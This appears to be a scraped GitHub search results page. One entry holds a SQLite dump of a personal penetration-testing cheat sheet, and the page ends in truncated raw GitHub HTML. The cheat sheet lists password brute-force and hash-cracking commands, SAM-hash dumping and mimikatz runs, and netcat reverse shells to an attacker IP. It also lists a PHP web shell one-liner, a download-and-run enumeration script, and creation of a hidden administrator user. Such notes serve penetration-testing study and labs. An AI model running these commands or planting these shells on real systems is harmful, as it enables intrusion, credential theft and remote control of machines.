Found 129 repositories(showing 30)
shadow
Shadow is a discrete-event network simulator that directly executes real application code, enabling you to simulate distributed systems with thousands of network-connected processes in realistic and scalable private network experiments using your laptop, desktop, or server running Linux.
zaycev
Experiment with computing 2D shading, lighting and shadows with Bevy Engine
Don-No7
-- -- File generated with SQLiteStudio v3.2.1 on Sun Feb 7 14:58:28 2021 -- -- Text encoding used: System -- PRAGMA foreign_keys = off; BEGIN TRANSACTION; -- Table: Commands CREATE TABLE Commands (Command_No INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, Name TEXT REFERENCES Programs (Name) NOT NULL, Description TEXT NOT NULL, Command TEXT, File BLOB); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (1, 'Kerbrute', 'brute single user password', 'kerbrute bruteuers [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (2, 'Kerbrute', 'brute username:password combos from file or stdin', 'kerbrute brutforce [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (3, 'Kerbrute', 'test a single password agains a list of users', 'kerbrute passwordspray [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (4, 'Kerbrute', 'Enumerate valid domain usernames via kerberos', 'kerbrute userenum [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (5, 'Name-That-Hash', 'Find the hash type of a string', 'nth --text ''<hash>''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (6, 'Name-That-Hash', 'Find the hash type of a file', 'nth --file <hash file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (7, 'Nmap', 'scan for vulnerabilites', 'nmap --script vuln <HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (8, 'Nikto', 'Scan host for vulnerabilites', 'nikto -h <HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (9, 'SMBClient', 'check for misconfigured anonymous login', 'smbclient -L \\\\<HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (10, 'Hydra', 'Brutforce a webpage looking for usernames', 'hydra -l <user wordlist> -p 123 <HOST_IP> http-post-form ''/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=<output string on failure>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (11, 'SMBMap', 'enumerates SMB file shares', 'smbmap -u <user> -p <pass> -H <host IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (12, 'WPScan', 'Enumerate Wordpress website', 'wpscan --url <wp site> --enumerate --plugins-detection', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (13, 'WPScan', 'enumerate though known usernames', 'wpscan --url <HOST_IP> --usernames <USERNAME_FOUND> --passwords wordlist.dic', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (14, 'PowerShell', 'bypass execution policy', 'powershell.exe -exec bypass', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (15, 'TheHarvester', 'gathering informaiton from online sources', 'theharvester -d <domain> -l <#> -g -b google', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (16, 'Netcat', 'open a listener', 'nc -lvnp <port #>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (17, 'Netcat', 'Connect to computer', 'nc <attacker ip> <attacker port>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (18, 'GoBuster', 'Eunmerate directories on a website with a cookie', 'gobuster dir -u http://<IP> -w <wordlist> -x <extention> -c PHPSESSID=<cookie val>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (19, 'SQLMap', 'map sql at an IP', 'sqlmap -r <IP> --batch --force-ssl', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (20, 'John the Ripper', 'Use wordlist to parse hash', 'john <HASHES_FILE> --wordlist=<wordlist>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (21, 'John the Ripper', 'unencrypt shadow file', 'john <Unshadowed passwds>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (22, 'Unshadow', 'combine /etc/passwd and /etc/shadow file for cracking', 'unshadow <passwd> <shadow>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (23, 'Hashcat', 'crack hashes with a wordlist', 'hashcat -m <hash type> -a 0 -o <output file> <hash file> <wordlist> --force', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (26, 'Enum4Linux', 'basic command', 'enum4linux -a <IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (27, 'SMBClient', 'connect to a SMB share', 'smbclinet //<IP>/<share> -U <username>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (28, 'Netcat', 'connect with shell (-e doest always work)', 'nc -e /bin/sh <ATTACKING-IP> 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (29, 'Netcat', 'connect with shell (-e doest always work)', '/bin/sh | nc ATTACKING-IP 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (30, 'Netcat', 'done on the target', 'rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (31, 'SQLMap', 'Check form for SQL injection', 'sqlmap -o -u "http://meh.com/form/" –forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (32, 'SQLMap', 'automated SQL scan', 'sqlmap -u <URL> --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (33, 'CrackMapExec', 'run a mimikatz module', 'crackmapexec smb <target(s)> -u <username> -p <password> --local-auth -M mimikatz', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (34, 'CrackMapExec', 'Command execution', 'crackmapexec smb <target(s)> -u ''<username>'' -p ''<password>'' -x whoami', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (35, 'CrackMapExec', 'check logged in users', 'crackmapexec smb <target(s)> -u ''<username>'' -p ''<password>'' --lusers', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (36, 'CrackMapExec', 'dump local SAM hashes', 'crackmapexec <target(s)> -u ''<uesrname>'' -p ''<password>'' --local-auth --sam', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (37, 'CrackMapExec', 'null session login', 'crackmapexec smb <target(s)> -u '''' -p ''''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (38, 'CrackMapExec', 'list modules', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (39, 'CrackMapExec', 'pass the hash', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (41, 'IKE-Scan', 'attack pre shared key with dictionary', 'psk-crack -d </path/to/dictionary> <psk file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (42, 'IKE-Scan', 'If you find a SonicWALL VPN using agressive mode it will require a group id, the default group id is GroupVPN', 'ike-scan <IP> -A -id GroupVPN', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (43, 'IKE-Scan', 'to find aggressive mode VPNs and save for use with psk-crack', 'ike-scan <IP> -A -P<file out>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (44, 'John the Ripper', 'crack passwords with korelogic rules', 'for ruleset in `grep KoreLogicRules john.conf | cut -d: -f 2 | cut -d\] -f 1`; do ./john --rules:${ruleset} -w:<wordlist> <password_file> ; done', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (45, 'Nmap', 'create a list of ip addresses ', 'nmap -sL -n 192.168.1.1-100,102-254 | grep "report for" | cut -d " " -f 5 > ip_list_192.168.1.txt', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (46, 'Linux commands', 'mount NFS share on linux', 'mount -t nfs server:/share /mnt/point', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (47, 'PowerShell', 'create new user', 'net user <username> <password> /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (48, 'PowerShell', 'add user to a group (normaly Administrators)', 'net localgroup <group> <username> /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (49, 'PSK-Crack', 'brute force with specified length and specified chars (if left blank default is 36)', 'psk-crack -b <#> --charset="<charlist>" <key file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (50, 'PSK-Crack', 'dictianary attack', 'psk-crack -d <file> <key file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (51, 'SQLMap', 'check form for SQL injection', 'sqlmap -o -u "<url of form>" --forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (52, 'SQLMap', 'Scan url for union + error based injection with mysql backend and use a random user agent + database dump', 'sqlmap -u "<form URL>?id=1>" --dbms=mysql --tech=U --random-agent --dump ', NULL); -- Table: Exploits CREATE TABLE Exploits (Target TEXT, Type TEXT, Criteria TEXT, Method TEXT, Code TEXT, Result TEXT, Notes TEXT); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Injection', 'ability to write to website folder', 'create or edit a mage of the website and insert the code to get remote access to the machine', '<? php system ($ _ GET [''cmd'']); ?>', 'execute code via url', '<URL of php>?cmd=<code to execue>'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'shell', 'enter code into the shell to find vulnerbilities int he machine', 'find / -perm -u=s -type f 2>/dev/null', 'SUID binaries', 'link output to GTFO bins and exploit'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Box', 'Priv Esc', 'Python binary running as root', 'generate a shell using python to grain root access', 'python3 -c "import pty;pty.spawn(''/bin/sh'');"', 'root shell', 'change pyton varibale acordingly'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('SQL', 'Priv Esc', 'MySQL binary running as root', 'enter into MySQL command line and break out into root y using the code', 'mysql> \! /bin/sh', 'get shell from root priv SQL', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'low privilage shell', 'use the code to search for programs that run as sudo without password', 'sudo -l', NULL, 'list programs that can be used with sudo and no password'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Windows', 'Priv Esc', 'Powershell', 'use code to enumerate priv esc opertunities', 'wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """', 'list of unquoted service paths that might be used for priv esc', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'LFI', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', NULL, 'use Linenum.sh to enumerate linux box', 'wget https://www.linenum.sh/ -P /dev/shm/Linenum.sh; chmod +x /dev/shm/linenum.sh ; ./dev/shm/Linenum.sh | tee /dev/shm/lininfo.txt', ' file, /dev/shm/lininfo.txt, with priv esc info', 'it is possible to use other methods of download like: curl or others found on google'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'No-Auth', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Re-Registration', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'JWT', 'a site that uses jSON as cookies', 'edit the information (with BURP) thats going to the website to gain access without authenitaction', NULL, NULL, NULL); -- Table: Programs CREATE TABLE Programs (Name text PRIMARY KEY NOT NULL UNIQUE, Stage TEXT, Description text, Info text, Features TEXT, Target TEXT, Offensive BOOLEAN, commands TEXT); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nmap', 'Enum', 'Used for scanning a network/host to gather more information', 'man pages on linux', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('BURP Suit', 'Enum, Exploit', 'A program for manipulating HTTP requests, enumeration and Exploit', 'https://portswigger.net/burp/documentation/contents', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Metasploit', 'All', 'Powerfull swiss-army-knife of hacking', 'https://docs.rapid7.com/metasploit/', NULL, 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('MSFVenom', 'Exploit', 'Designed for creating payloads', 'https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom', 'Payloads', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Snort', 'Utility', 'Packet sniffer', 'https://snort-org-site.s3.amazonaws.com/production/document_files/files/000/000/249/original/snort_manual.pdf?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIXACIED2SPMSC7GA%2F20210128%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210128T192737Z&X-Amz-Expires=172800&X-Amz-SignedHeaders=host&X-Amz-Signature=4b51dc730677d14203c4a4cde25c1831ac64e9eca8df89c6737701811fa3f9fd', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('GoBuster', 'Enum', 'A fuzzer for websites', 'man pages on linux', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hydra', 'Exploit', 'Brutforcer for wesite passwords', 'man pages on linux', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Mimikatz', 'Post', 'Used to exploit kerberos', 'https://gist.github.com/insi2304/484a4e92941b437bad961fcacda82d49', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Impacket', 'Exploit', 'The fascilitator of python bassed script that uses modules for attacking windows ', 'https://www.secureauth.com/labs-old/impacket/', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Enum4Linux', 'Enum', 'for Enumerating Windows and Samba hosts', 'man pages included, https://tools.kali.org/information-gathering/enum4linux', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Rubeus', 'Exploit', 'Used for kerberos interaction and abuse', 'https://github.com/GhostPack/Rubeus', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Kerbrute', 'Enum, Exploit', 'quickly enumerate and brutforce active directory accounts through kerberos pre-authentication', 'https://github.com/ropnop/kerbrute/', 'Brute', 'Windows', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('John the Ripper', 'Exploit', 'a password brutforcer', 'https://www.openwall.com/john/doc/', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hashcat', 'Exploit', 'A password bruteforces', 'http://manpages.org/hashcat', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Bloodhound', 'Enum', 'Network mapping tool', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Wireshark', 'Utility', 'Packet sniffer', 'https://www.wireshark.org/download/docs/user-guide.pdf', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hash-Identifier', 'Utility', '(superseeded by Name-That-Hash)A simple python program for identifying hashes', 'man pages on linux', NULL, 'Hash', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Scp', 'Utility', 'For transfering files over SSH connection', 'man pages on llinux', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBClient', 'Utility', 'Used to connect to SMB file shares, can be used to enumerate shares', 'man pages on linux', 'Connect', 'SMB', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PowerShell', 'Utility', 'Powerfull comand line for Windows', 'https://www.pdq.com/powershell/', NULL, 'Windows', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Searchsploit', 'Enum', 'Local version of ExploitDB', 'https://www.exploit-db.com/searchsploit', 'Exploit Enum', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Vim', 'Utiility', 'Text editor', 'https://vimhelp.org/', NULL, 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('LinPeas', 'Post', 'For Enumerating Linux computers', 'Simply run on a linux computer', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nikto', 'Enum', 'For full enumeration on websites', 'https://cirt.net/nikto2-docs/', 'Exploit Enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Radare2', 'Utility', 'A tooll used to reverse engineer programs', 'https://github.com/radareorg/radare2/blob/master/doc/intro.md', 'Reverse', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Evil-WinRM', 'Exploit', 'Malware exuivilent of WinRM and used to exploit windows systems', 'https://github.com/Hackplayers/evil-winrm', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Seatbelt', 'Post', 'Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives', 'https://github.com/GhostPack/Seatbelt', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WinPeas', 'Post', 'For full enumeration of windows host (internal)', 'https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Lockless', 'Post', 'LockLess is a C# tool that allows for the enumeration of open file handles and the copying of locked files', 'https://github.com/GhostPack/Lockless', 'File interaction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SQLMap', 'Exploit', 'Automates the process of detecting and exploiting SQL injection flaws and taking over of database servers', 'http://sqlmap.org/', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('KEETheif', 'Post', 'Allows for the extraction of KeePass 2.X key material from memory, as well as the backdooring and enumeration of the KeePass trigger system', 'https://github.com/GhostPack/KeeThief', 'File interacction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('TheHarvester', 'Enum', 'The objective of this program is to gather emails, subdomains, hosts, employee names, open ports and banners from different public sources like search engines, PGP key servers and SHODAN computer database', 'https://tools.kali.org/information-gathering/theharvester', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('jSQLInjection', 'Enum', 'used for gathering SQL databse information form a distant source', 'https://tools.kali.org/vulnerability-analysis/jsql', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hping', 'Enum', 'Ping command on steroids, used to enumerating firewalls', 'https://tools.kali.org/information-gathering/hping3', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux Exploit Suggester', 'Post', 'keeps track of vulnerabilities and suggests exploits to gain root access', 'https://tools.kali.org/exploitation-tools/linux-exploit-suggester', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unix-PrivEsc-Check', 'Post', ' It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps, written in a single shell script so is easy to upload', 'https://tools.kali.org/vulnerability-analysis/unix-privesc-check', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Dotdotpwn', 'Enum', 'It’s a very flexible intelligent fuzzer to discover traversal directory vulnerabilities in software such as HTTP/FTP/TFTP servers', 'https://tools.kali.org/information-gathering/dotdotpwn', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Websploit', 'Enum, Exploit', 'Swiss-army-knife of web exploits ranging from social engineering to honeypots and everything in between', 'https://tools.kali.org/web-applications/websploit', NULL, 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('XSSer', 'Enum', 'To detect, exploit and report XSS vulnerabilities in web-based applications', 'https://tools.kali.org/web-applications/xsser', 'Exploit enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Name-That-Hash', 'Utility', 'Hash-identifier with more deatils and command line based', 'https://github.com/HashPals/Name-That-Hash', NULL, 'N/A', 'N', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBMap', 'Enum', 'enumerate shares over a domin', 'https://tools.kali.org/information-gathering/smbmap', 'Scanning', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Redis-Cli', 'Exploit', 'used for interacting and exploiting reddis-cli on port 6379', 'https://book.hacktricks.xyz/pentesting/6379-pentesting-redis ; https://redis.io/topics/rediscli', 'SQL', 'SQL', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unshadow', 'POST', 'Combining passwd and shadow files into 1', 'simply use: unshadow <passwd file> <shadow file> > <output file>', 'Passwords', 'Hash', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WPScan', 'Enum', 'Look for vulnerabilities in wordpress site', 'https://github.com/wpscanteam/wpscan', 'Scanning', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Netcat', 'Utility', 'used for connecting 2 computers', 'https://www.win.tue.nl/~aeb/linux/hh/netcat_tutorial.pdf', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux commands', 'Post', 'Linux commands used for Priv esc', 'https://gtfobins.github.io, https://wadcoms.github.io', 'Priv Esc', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CrackMapExec', 'Enum,, Exploit', 'Swis army knife of network testing', 'https://ptestmethod.readthedocs.io/en/latest/cme.html', 'Scanning, Exploit', 'Networks', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('IKE-Scan', 'Enum', 'Used to dicover, fingerprint and test IPsec VPN systems', 'http://www.nta-monitor.com/wiki/index.php/Ike-scan_User_Guide', 'Scanning', 'VPN', NULL, NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PSK-Crack', 'Exploit', 'attempts to crack IKE Aggressive Mode pre-shared keys that have previously been gathered using ike-scan with the --pskcrack option', 'https://linux.die.net/man/1/psk-crack', 'Connect, Brute', 'Wifi', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CeWL', 'Enum', 'spiders a given url returning a wordlist that is intednded for cracking passwords', 'https://tools.kali.org/password-attacks/cewl', 'Brute', 'Web', 'Y', NULL); COMMIT TRANSACTION; PRAGMA foreign_keys = on;
thheller
Archived. See shadow-grove.
jaityron
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars0.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars1.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars2.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars3.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link crossorigin="anonymous" media="all" integrity="sha512-RPWwIpqyjxv5EpuWKUKyeZeWz9QEzIbAWTiYOuxGieUq7+AMiZbsLeQMfEdyEIUoNjLagHK0BEm92BmXnvaH4Q==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-40c1c9d8ff06284fb441108e6559f019.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-3CnDMoFJPvbM39ryV5wc51yRo/6j6eQPt5SOlYaoBZhR9rVL/UZH3ME+wt72nsTlNFaSQ3nXT/0F4sxE1zbA6g==" rel="stylesheet" href="https://github.githubassets.com/assets/github-38162889e1878fa3b887aa360e70ab6c.css" /> <meta name="viewport" content="width=device-width"> <title>Home · Alvin9999/new-pac Wiki</title> <meta name="description" content="Contribute to Alvin9999/new-pac development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta property="og:image" content="https://avatars0.githubusercontent.com/u/12132898?s=400&v=4" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="Alvin9999/new-pac" /><meta property="og:url" content="https://github.com/Alvin9999/new-pac" /><meta property="og:description" content="Contribute to Alvin9999/new-pac development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <link rel="web-socket" href="wss://live.github.com/_sockets/VjI6Mzc2MjMzNDkyOjM2ZmM1MjAzNDUwMjNhZGIxNmVjZTllOTI0YjY1YmQ0OWQyNmM4MzkzNWJhZTQzMDg5NzA0YjU3Y2E3NTNkMDE=--fa569a95af65bafbf0c16cb5eb8c194edc2045fb"> <meta name="pjax-timeout" content="1000"> <link rel="sudo-modal" href="/sessions/sudo_modal"> <meta name="request-id" content="818C:75AC:15C5D83:291B1C2:5C7218B8" data-pjax-transient> <meta name="selected-link" value="repo_wiki" data-pjax-transient> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-host" content="collector.githubapp.com" /><meta name="octolytics-app-id" content="github" /><meta name="octolytics-event-url" content="https://collector.githubapp.com/github-external/browser_event" /><meta name="octolytics-dimension-request_id" content="818C:75AC:15C5D83:291B1C2:5C7218B8" /><meta name="octolytics-dimension-region_edge" content="iad" /><meta name="octolytics-dimension-region_render" content="iad" /><meta name="octolytics-actor-id" content="47923458" /><meta name="octolytics-actor-login" content="p4g5" /><meta name="octolytics-actor-hash" content="6a95853374cece7bf113bc42df1cef3ad50e04d98978b001c78c593432aa2c78" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/wiki/index" data-pjax-transient="true" /> <meta name="google-analytics" content="UA-3769691-2"> <meta class="js-ga-set" name="userId" content="649868b7d8b42456fef3feb17a9d0a6b"> <meta class="js-ga-set" name="dimension1" content="Logged In"> <meta name="hostname" content="github.com"> <meta name="user-login" content="p4g5"> <meta name="expected-hostname" content="github.com"> <meta name="js-proxy-site-detection-payload" content="ODkzYzZhMWZkM2IyYWJmODcxMzc2NTQ0ODU3ODc5NzkyMThhNGU0YmYyODA3OTFiMGZhYmI0ZTdlZGI0MTEwMHx7InJlbW90ZV9hZGRyZXNzIjoiMTM4LjE5LjI0My4xMTAiLCJyZXF1ZXN0X2lkIjoiODE4Qzo3NUFDOjE1QzVEODM6MjkxQjFDMjo1QzcyMThCOCIsInRpbWVzdGFtcCI6MTU1MDk4MTMwOCwiaG9zdCI6ImdpdGh1Yi5jb20ifQ=="> <meta name="enabled-features" content="UNIVERSE_BANNER,MARKETPLACE_SOCIAL_PROOF,MARKETPLACE_PLAN_RESTRICTION_EDITOR,NOTIFY_ON_BLOCK,RELATED_ISSUES,MARKETPLACE_BROWSING_V2"> <meta name="html-safe-nonce" content="949564c0ba7317eace2a7bfddf1ecff165bf3dab"> <meta http-equiv="x-pjax-version" content="fe602614af4c1a740e12e3bc8fce8de2"> <link 